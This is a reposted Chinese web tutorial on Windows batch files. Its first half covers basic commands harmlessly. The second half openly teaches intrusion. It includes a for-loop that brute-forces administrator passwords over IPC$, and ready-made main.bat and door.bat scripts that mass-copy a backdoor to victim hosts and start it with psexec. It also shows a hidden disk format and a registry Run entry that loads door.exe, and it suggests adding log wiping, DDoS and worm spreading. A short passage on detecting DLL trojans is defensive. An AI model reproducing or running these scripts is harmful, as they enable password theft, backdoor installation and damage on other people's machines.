国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > BAT > 正文

學(xué)習(xí)使用批處理文件的意義

2020-03-29 20:23:32
字體:
供稿:網(wǎng)友
后綴是bat的文件就是批處理文件,是一種文本文件。簡(jiǎn)單的說,它的作用就是自動(dòng)的連續(xù)執(zhí)行多條命令,批處理文件的內(nèi)容就是一條一條的命令。那它有什么用呢? 
  比如,在啟動(dòng)wps軟件時(shí),每次都必須執(zhí)行 
  C:/>cd wps 
  C:/WPS>spdos 
  C:/WPS>py 
  C:/WPS>wbx 
  C:/WPS>wps 
  如果每次用WPS之前都這樣執(zhí)行一次,您是不是覺得很麻煩呢? 
  如果有一個(gè)方法,只需編寫一個(gè)批處理文件,就會(huì)自動(dòng)執(zhí)行剛才的所有命令,您想不想學(xué)呢? 
  當(dāng)您看完此節(jié),自己編寫的第一個(gè)批處理文件順利執(zhí)行時(shí),您一定會(huì)大吃一驚的。 
  此外電腦每次啟動(dòng)時(shí)都會(huì)尋找autoexec.bat這條批處理文件,從而可執(zhí)行一些每次開機(jī)都要執(zhí)行的命令,如設(shè)置路徑path、加載鼠標(biāo)驅(qū)動(dòng)mouse、磁盤加速smartdrv等,可以使您的電腦真正自動(dòng)化。 
 echo、@、call、pause、rem 是批處理文件最常用的幾個(gè)命令,我們就從他們開始學(xué)起。 echo 表示顯示此命令后的字符 
echo off 表示在此語句后所有運(yùn)行的命令都不顯示命令行本身 
@ 與echo off相象,但它是加在其它命令行的最前面,表示運(yùn)行時(shí)不顯示命令行本身。 
call 調(diào)用另一條批處理文件(如果直接調(diào)用別的批處理文件 ,執(zhí)行完那條文件后將無法執(zhí)行當(dāng)前文件后續(xù)命令) 
pause 運(yùn)行此句會(huì)暫停,顯示Press any key to continue... 等待用戶按任意鍵后繼續(xù)  
rem 表示此命令后的字符為解釋行,不執(zhí)行,只是給自己今后查找用的  
  例:用edit編輯a.bat文件,輸入下列內(nèi)容后存盤為c:/a.bat,執(zhí)行該批處理文件后可實(shí)現(xiàn):將根目錄中所有文件寫入 a.txt中,啟動(dòng)UCDOS,進(jìn)入WPS等功能。 
  批處理文件的內(nèi)容為:         文件表示: 
    echo off            不顯示命令行 
    dir c:/*.* >a.txt       將c盤文件列表寫入a.txt 
    call c:/ucdos/ucdos.bat    調(diào)用ucdos 
    echo 你好            顯示"你好" 
    pause              暫停,等待按鍵繼續(xù) 
    rem 使用wps           注釋將使用wps 
    cd ucdos            進(jìn)入ucdos目錄 
    wps               使用wps   
  批處理文件中還可以像C語言一樣使用參數(shù),這只需用到一個(gè)參數(shù)表示符%。 
   %表示參數(shù),參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的字符串。變量可以從 %0到%9,%0表示文件名本身,字符串用%1到%9順序表示。 
  例如,C:根目錄下一批處理文件名為f.bat,內(nèi)容為 format %1 
  則如果執(zhí)行C:/>f a:    則實(shí)際執(zhí)行的是format a: 
  又如C:根目錄下一批處理文件的名為t.bat,內(nèi)容為 type %1 type %2 
  那么運(yùn)行C:/>t a.txt b.txt 將順序地顯示a.txt和b.txt文件的內(nèi)容 
if goto choice for 是批處理文件中比較高級(jí)的命令,如果這幾個(gè)你用得很熟練,你就是批處理文件的專家啦。 
  if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式: 
1、if "參數(shù)" == "字符串"  待執(zhí)行的命令 
參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))
如if "%1"=="a" format a: 
2、if exist 文件名  待執(zhí)行的命令 
如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如if exist config.sys edit config.sys 
3、if errorlevel 數(shù)字  待執(zhí)行的命令 
如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如if errorlevel 2 goto x2  DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼
goto 批處理文件運(yùn)行到這里將跳到goto 所指定的標(biāo)號(hào)處, 一般與if配合使用。 如:
goto end 
:end 
echo this is the end
標(biāo)號(hào)用 :字符串 表示,標(biāo)號(hào)所在行不被執(zhí)行
choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
例如,test.bat的內(nèi)容如下: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag 應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼
if errorlevel 2 goto mem 
if errotlevel 1 goto end 
:defrag 
c:/dos/defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye
此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。
for 循環(huán)命令,只要條件符合,它將多次執(zhí)行同一命令。 
格式FOR [%%f] in (集合) DO [命令] 
只要參數(shù)f在指定的集合內(nèi),則條件成立,執(zhí)行命令 
如果一條批處理文件中有一行: 
for %%c in (*.bat *.txt) do type %%c 
含義是如果是以bat或txt結(jié)尾的文件,則顯示文件的內(nèi)容。
 DOS在啟動(dòng)會(huì)自動(dòng)運(yùn)行autoexec.bat這條文件,一般我們?cè)诶锩嫜b載每次必用的程序,如: path(設(shè)置路徑)、smartdrv(磁盤加速)、 mouse(鼠標(biāo)啟動(dòng))、mscdex(光驅(qū)連接)、 doskey(鍵盤管理)、set(設(shè)置環(huán)境變量)等。 
  如果啟動(dòng)盤根目錄中沒有這個(gè)文件,電腦會(huì)讓用戶輸入日期和時(shí)間。 
  例如,一個(gè)典型的autoexec.bat內(nèi)容如下: 
@echo off                     不顯示命令行 
prompt $p$g                    設(shè)置提示符前有目錄提示 
path c:/dos;c:/;c:/windows;c:/ucdos;c:/tools    設(shè)置路徑 
lh c:/dos/doskey.com                加載鍵盤管理 
lh c:/mouse/mouse.com               加載鼠標(biāo)管理 
lh c:/dos/smartdrv.exe               加載磁盤加速管理 
lh c:/dos/mscdex /S /D:MSCD000 /M:12 /V      加載CD-ROM驅(qū)動(dòng) 
set temp=c:/temp                  設(shè)置臨時(shí)目錄 
----------------------------------------------------------------------------------
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴(kuò)展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統(tǒng)就會(huì)調(diào)用Cmd.exe按照該文件中各個(gè)命令出現(xiàn)的順序來逐個(gè)運(yùn)行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡(jiǎn)化日常或重復(fù)性任務(wù)。當(dāng)然我們的這個(gè)版本的主要內(nèi)容是介紹批處理在入侵中一些實(shí)際運(yùn)用,例如我們后面要提到的用批處理文件來給系統(tǒng)打補(bǔ)丁、批量植入后門程序等。下面就開始我們批處理學(xué)習(xí)之旅吧。 
  一.簡(jiǎn)單批處理內(nèi)部命令簡(jiǎn)介 
  1.Echo 命令 
  打開回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當(dāng)前回顯設(shè)置。 
  語法 
  echo [{on off}] [message] 
  Sample:@echo off / echo hello world 
  在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱為管道符號(hào),一般用> >> ^)結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。 
  2.@ 命令 
  表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對(duì)方看到你使用的命令啦。 
  Sample:@echo off 
  @echo Now initializing the program,please wait a minite... 
  @format X: /q/u/autoset (format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。) 
  3.Goto 命令 
  指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。 
  語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。) 
  Sample: 
  if {%1}=={} goto noparms 
  if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會(huì)有詳細(xì)的解釋。) 
  @Rem check parameters if null show usage 
  :noparms 
  echo Usage: monitor.bat ServerIP PortNumber 
  goto end 
  標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會(huì)理解你的意圖啊。 
  4.Rem 命令 
  注釋命令,在C語言中相當(dāng)與/*--------*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。 
  Rem Message 
  Sample:@Rem Here is the description. 
  5.Pause 命令 
  運(yùn)行 Pause 命令時(shí),將顯示下面的消息: 
  Press any key to continue . . . 
  Sample: 
  @echo off 
  :begin 
  copy a:*.* d:/back 
  echo Please put a new disk into driver A 
  pause 
  goto begin 
  在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤上的所有文件均復(fù)制到d:/back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。 
6.Call 命令 
  從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。 
  語法 
  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 
  參數(shù) 
  [Drive:}[Path] FileName 
  指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。 
  7.start 命令 
  調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。 
  入侵常用參數(shù): 
  MIN 開始時(shí)窗口最小化 
  SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序 
  HIGH 在 HIGH 優(yōu)先級(jí)類別開始應(yīng)用程序 
  REALTIME 在 REALTIME 優(yōu)先級(jí)類別開始應(yīng)用程序 
  WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束 
  parameters 這些為傳送到命令/程序的參數(shù) 
  執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí),CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。 
  8.choice 命令 
  choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234…… 
  如: choice /c:dme defrag,mem,end 
  將顯示 
  defrag,mem,end[D,M,E]? 
  Sample: 
  Sample.bat的內(nèi)容如下: 
  @echo off 
  choice /c:dme defrag,mem,end 
  if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼) 
  if errorlevel 2 goto mem 
  if errotlevel 1 goto end 
  :defrag 
  c:/dos/defrag 
  goto end 
  :mem 
  mem 
  goto end 
  :end 
  echo good bye 
  此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。 
  9.If 命令 
  if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式: 
  1、if "參數(shù)" == "字符串"  待執(zhí)行的命令 
  參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào)) 
  如if "%1"=="a" format a: 
  if {%1}=={} goto noparms 
  if {%2}=={} goto noparms 
  2、if exist 文件名  待執(zhí)行的命令 
  如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。 
  如if exist config.sys edit config.sys 
  3、if errorlevel / if not errorlevel 數(shù)字  待執(zhí)行的命令 
  如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。 
  如if errorlevel 2 goto x2   
  DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼,常見的返回碼為0、1。 
10.for 命令 
  for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。 
  在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable 
  for {%variable %%variable} in (set) do command [ CommandLineOptions] 
  %variable 指定一個(gè)單一字母可替換的參數(shù)。 
  (set) 指定一個(gè)或一組文件。可以使用通配符。 
  command 指定對(duì)每個(gè)文件執(zhí)行的命令。 
  command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。 
  在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable 
  而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I 
  如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到 
  支持: 
  FOR /D %variable IN (set) DO command [command-parameters] 
  如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。 
  FOR /R [[drive:]path] %variable IN (set) DO command [command- 
  檢查以 [drive:]path 為根的目錄樹,指向每個(gè)目錄中的FOR 語句。如果在 /R 后沒有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。 
  FOR /L %variable IN (start,step,end) DO command [command-para 
  該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。 
  因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生 
  序列 (5 4 3 2 1)。 
  FOR /F ["options"] %variable IN (file-set) DO command 
  FOR /F ["options"] %variable IN ("string") DO command 
  FOR /F ["options"] %variable IN (command) DO command 
  或者,如果有 usebackq 選項(xiàng): 
  FOR /F ["options"] %variable IN (file-set) DO command 
  FOR /F ["options"] %variable IN ("string") DO command 
  FOR /F ["options"] %variable IN (command) DO command 
  filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的 
  下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。 
  處理包括讀取文件,將其分成一行行的文字,然后將每行 
  解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值 
  調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過每個(gè)文件的每一行中分開 
  的第一個(gè)空白符號(hào)。跳過空白行。您可通過指定可選 "options" 
  參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè) 
  指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為: 
  eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè)) 
  skip=n - 指在文件開始時(shí)忽略的行數(shù)。 
  delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的 
  默認(rèn)分隔符集。 
  tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代 
  的 for 本身。這會(huì)導(dǎo)致額外變量名稱的 
  格式為一個(gè)范圍。通過 nth 符號(hào)指定 m 
  符號(hào)字符串中的最后一個(gè)字符星號(hào), 
  那么額外的變量將在最后一個(gè)符號(hào)解析之 
  分配并接受行的保留文本。 
  usebackq - 指定新語法已在下類情況中使用: 
  在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在 fi中使用雙引號(hào)擴(kuò)起文件名稱。 
sample1: 
  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 
  會(huì)分析 myfile.txt 中的每一行,忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和/或空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語句引用 %i 來取得第二個(gè)符號(hào),引用 %j 來取得第三個(gè)符號(hào),引用 %k來取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用雙引號(hào)將文件名括起來。為了用這種方式來使用雙引號(hào),您還需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)被理解成是用作定義某個(gè)要分析的字符串的。 
  %i 專門在 for 語句中得到說明,%j 和 %k 是通過 
  tokens= 選項(xiàng)專門得到說明的。您可以通過 tokens= 一行指定最多 26 個(gè)符號(hào),只要不試圖說明一個(gè)高于字母 z 或Z 的變量。請(qǐng)記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的同時(shí)不能有 52 個(gè)以上都在使用中。 
  您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號(hào)將括號(hào)之間的 filenameset 括起來。這樣,該字符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。 
  最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到一個(gè)子 CMD.EXE,其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子: 
  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 
  會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。 
  另外,F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列 
  選項(xiàng)語法: 
  ~I - 刪除任何引號(hào)("),擴(kuò)充 %I 
  %~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名 
  %~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào) 
  %~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑 
  %~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名 
  %~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名 
  %~sI - 擴(kuò)充的路徑只含有短名 
  %~aI - 將 %I 擴(kuò)充到文件的文件屬性 
  %~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間 
  %~zI - 將 %I 擴(kuò)充到文件的大小 
  %~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量未被定義,或者沒有找到文件,此組合鍵會(huì)擴(kuò)充空字符串 
  可以組合修飾符來得到多重結(jié)果: 
  %~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑 
  %~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名 
  %~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名 
  %~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。 
  %~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR 
  在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法 
  用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。 
  以上是MS的官方幫助,下面我們舉幾個(gè)例子來具體說明一下For命令在入侵中的用途。 
  sample2: 
  利用For命令來實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。 
  我們用net use //ip/ipc$ "password" /u:"administrator"來嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。 
  最主要的命令是一條:for /f i% in (dict.txt) do net use //ip/ipc$ "i%" /u:"administrator" 
  用i%來表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use 命令來連接。然后將程序運(yùn)行結(jié)果傳遞給find命令-- 
  for /f i%% in (dict.txt) do net use //ip/ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:/ok.txt ,這樣就ko了。 
  sample3: 
  你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開心的一件事都會(huì)變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡(jiǎn)化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。 
  主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable) 
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
  tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。 
  而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機(jī),并echo出來,或者echo到指定的文件。 
  delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來排列,一般就是 ip password username。 
  代碼雛形: 
  --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 
  @echo off 
  @if "%1"=="" goto usage 
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
  @goto end 
  :usage 
  @echo run this batch in dos modle.or just double-click it. 
  :end 
  --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 
  ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- 
  @net use //%1/ipc$ %3 /u:"%2" 
  @if errorlevel 1 goto failed 
  @echo Trying to establish the IPC$ connection …………OK 
  @copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt 
  @psexec //%1 c:/winnt/system32/windrv32.exe 
  @psexec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
  :failed 
  @echo Sorry can not connected to the victim. 
  ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 
  這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容 
  尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究. 
二.如何在批處理文件中使用參數(shù) 
  批處理中可以使用參數(shù),一般從1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來移動(dòng),這種情況并不多見,我們就不考慮它了。 
  sample1:fomat.bat 
  @echo off 
  if "%1"=="a" format a: 
  :format 
  @format a:/q/u/auotset 
  @echo please insert another disk to driver A. 
  @pause 
  @goto fomat 
  這個(gè)例子用于連續(xù)地格式化幾張軟盤,所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫蛇添足了~^_^ 
  sample2: 
  當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫入一個(gè)批處理,把肉雞地ip password username 當(dāng)著參數(shù)來賦給這個(gè)批處理,這樣就不用每次都打命令了。 
  @echo off 
  @net use //1%/ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個(gè)參數(shù)。 
  @if errorlevel 1 echo connection failed 
  怎么樣,使用參數(shù)還是比較簡(jiǎn)單的吧?你這么帥一定學(xué)會(huì)了^_^.No.3 
  三.如何使用組合命令(Compound Command) 
  1.& 
  Usage:第一條命令 & 第二條命令 [& 第三條命令...] 
  用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功 
  Sample: 
  C:/>dir z: & dir c:/Ex4rch 
  The system cannot find the path specified. 
  Volume in drive C has no label. 
  Volume Serial Number is 0078-59FB 
  Directory of c:/Ex4rch 
  2002-05-14 23:51 

  2002-05-14 23:51 
.. 
  2002-05-14 23:51 14 sometips.gif 
3.   
  Usage:第一條命令    第二條命令 [   第三條命令...] 
  用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令; 
  Sample: 
  C:/Ex4rch>dir sometips.gif    del sometips.gif 
  Volume in drive C has no label. 
  Volume Serial Number is 0078-59FB 
  Directory of C:/Ex4rch 
  2002-05-14 23:55 14 sometips.gif 
  1 File(s) 14 bytes 
  0 Dir(s) 768,696,320 bytes free 
  組合命令使用的例子: 
  sample: 
  @copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt 
四、管道命令的使用 
  1.  命令 
  Usage:第一條命令   第二條命令 [  第三條命令...] 
  將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。 
  sample: 
  time /t>>D:/IP.log 
  netstat -n -p tcp find ":3389">>D:/IP.log 
  start Explorer 
  看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat,以獲得登錄用戶的IP。 
  2.>、>>輸出重定向命令 
  將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)容后寫入指定文件,而>>只會(huì)追加內(nèi)容到指定文件中,而不會(huì)改動(dòng)其中的內(nèi)容。 
  sample1: 
  echo hello world>c:/hello.txt (stupid example?) 
  sample2: 
  時(shí)下DLL木馬盛行,我們知道system32是個(gè)捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不例外,針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄: 
  運(yùn)行CMD--轉(zhuǎn)換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 
  這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中, 
  日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問題時(shí),則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了. 
  這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運(yùn)行: 
  CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來的DLL和EXE文件,然后通過查看創(chuàng)建時(shí)間、版本、是否經(jīng)過壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將后門DLL文件注銷掉,再把它移到回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。 
3.< 、>& 、<& 
  < 從文件中而不是從鍵盤中讀入命令輸入。 
  >& 將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。 
  <& 從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。 
  這些并不常用,也就不多做介紹。 
  No.5 
  五.如何用批處理文件來操作注冊(cè)表 
  在入侵過程中經(jīng)常回操作注冊(cè)表的特定的鍵值來實(shí)現(xiàn)一定的目的,例如:為了達(dá)到隱藏后門、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后門。當(dāng)然我們也會(huì)修改注冊(cè)表來加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性,這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來操作注冊(cè)表.(我們可以用批處理來生成一個(gè)REG文件) 
  關(guān)于注冊(cè)表的操作,常見的是創(chuàng)建、修改、刪除。 
  1.創(chuàng)建 
  創(chuàng)建分為兩種,一種是創(chuàng)建子項(xiàng)(Subkey) 
  我們創(chuàng)建一個(gè)文件,內(nèi)容如下: 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker] 
  然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下創(chuàng)建了一個(gè)名字為“hacker”的子項(xiàng)。 
  另一種是創(chuàng)建一個(gè)項(xiàng)目名稱 
  那這種文件格式就是典型的文件格式,和你從注冊(cè)表中導(dǎo)出的文件格式一致,內(nèi)容如下: 
  Windows Registry Editor Version 5.00 
  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]"Invader"="Ex4rch" 
  "Door"=C://WINNT//system32//door.exe 
  "Autodos"=dword:02 
